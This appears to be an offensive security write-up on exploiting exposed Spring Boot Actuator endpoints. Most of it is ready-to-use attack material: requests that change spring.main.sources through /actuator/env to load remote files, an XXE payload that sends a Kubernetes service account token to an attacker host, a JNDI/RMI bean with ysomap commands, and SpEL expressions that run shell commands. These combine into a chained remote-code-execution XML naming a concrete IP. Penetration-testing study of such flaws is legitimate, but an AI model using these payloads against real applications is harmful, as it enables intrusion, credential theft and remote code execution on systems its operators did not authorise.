Spring Boot Actuators

Spring boot actuators overview

Actuator endpoints let you monitor and interact with your application. Spring Boot includes a number of built-in endpoints. Enabling Endpoints can be done with application.properties file:

management.endpoints.web.exposure.include=*
management.endpoint.env.enabled=true

OR

management.endpoints.web.exposure.include=env,beans
management.endpoint.env.enabled=true
management.endpoint.beans.enabled=true

XML external entity (XXE) injection on env endpoint

By default spring boot actuator env is vulnerable to the XML external entity (XXE) injection. Modification of application property spring.main.sources can be done by request:

Spring boot

POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/beens.groovy"}

OR

POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/beens.xml"}

If groovy isn’t at class path, your vps will get only HEAD request, otherwise if groovy is in classpath additional GET request will be sent.

Runtime.getRuntime().exec("curl http://your-vps-ip/")

Same is true for xml files. Spring SAXParser by default is vulnerable to the XXE attack.

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://your-vps-ip/oob.dtd">%remote;%int;]>
<a>&trick;</a>
<!ENTITY % file SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/token">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://your-vps-ip/?x=%file;'>">
%eval;
%exfiltrate;

Unsafe object deserialisation

Spring main source allows to Sources (class names, package names, or XML resource locations) to include in the ApplicationContext. XML file can contain multiple beans declarations. Remote JNDI Object declaration presented below:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="
        http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- bean definitions here -->
        <bean id="someId" class="org.springframework.jndi.JndiObjectFactoryBean">
        <property name="jndiName" value="rceLookupName" />
        <property name="lookupOnStartup" value="true" />
        <property name="jndiEnvironment">
            <props>
                <prop key="java.naming.provider.url">rmi://your-vps-ip:1099</prop>
                <prop key="java.naming.factory.initial">com.sun.jndi.rmi.registry.RegistryContextFactory</prop>
            </props>
        </property>
        <!-- other properties here-->
    </bean>
</beans>

EvilRMIServer can be started with ysomap script:

use exploit RMIListener
use payload URLDNS
use bullet URLBullet
set lport 1099
set dnslog http://your-vps-ip
run

Gadget URLDNS does not reuire any additional library at class path and can be tested on any application. Free dns logger service is Dig.pm and can be used to test your DNS lookup requests.

Remote code execution with SpEL

SpEL expressions can be used with XML or annotation based configuration metadata for defining BeanDefinitions. In both cases the syntax to define the expression is of the form #{ expression string }

XML based configuration

A property or constructor-arg value can be set using expressions as shown below

<bean id="taxCalculator" class="org.spring.samples.TaxCalculator">
    <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>

    <!-- other properties -->
</bean>

Here is a malicious expression that executes arbitrary command when evaluated:

{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup your-vps-dns']).start()")}

Chaining all things together

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
        http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- bean definitions here -->
    <bean id="someId" class="org.springframework.jndi.JndiObjectFactoryBean">
        <property name="jndiName" value="rceLookupName" />
        <property name="lookupOnStartup" value="true" />
        <property name="cache" value="#{ &#x22;&#x22;.getClass().forName(&#x22;javax.script.ScriptEngineManager&#x22;).newInstance().getEngineByName(&#x22;JavaScript&#x22;).eval(&#x22;new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup your-vps-dns']).start()&#x22;)}}"/>
        <property name="jndiEnvironment">
            <props>
                <prop key="java.naming.provider.url">rmi://149.56.141.10:1099</prop>
                <prop key="java.naming.factory.initial">com.sun.jndi.rmi.registry.RegistryContextFactory</prop>
            </props>
        </property>
        <!-- other properties here-->
    </bean>
</beans>

Supporting Material/References: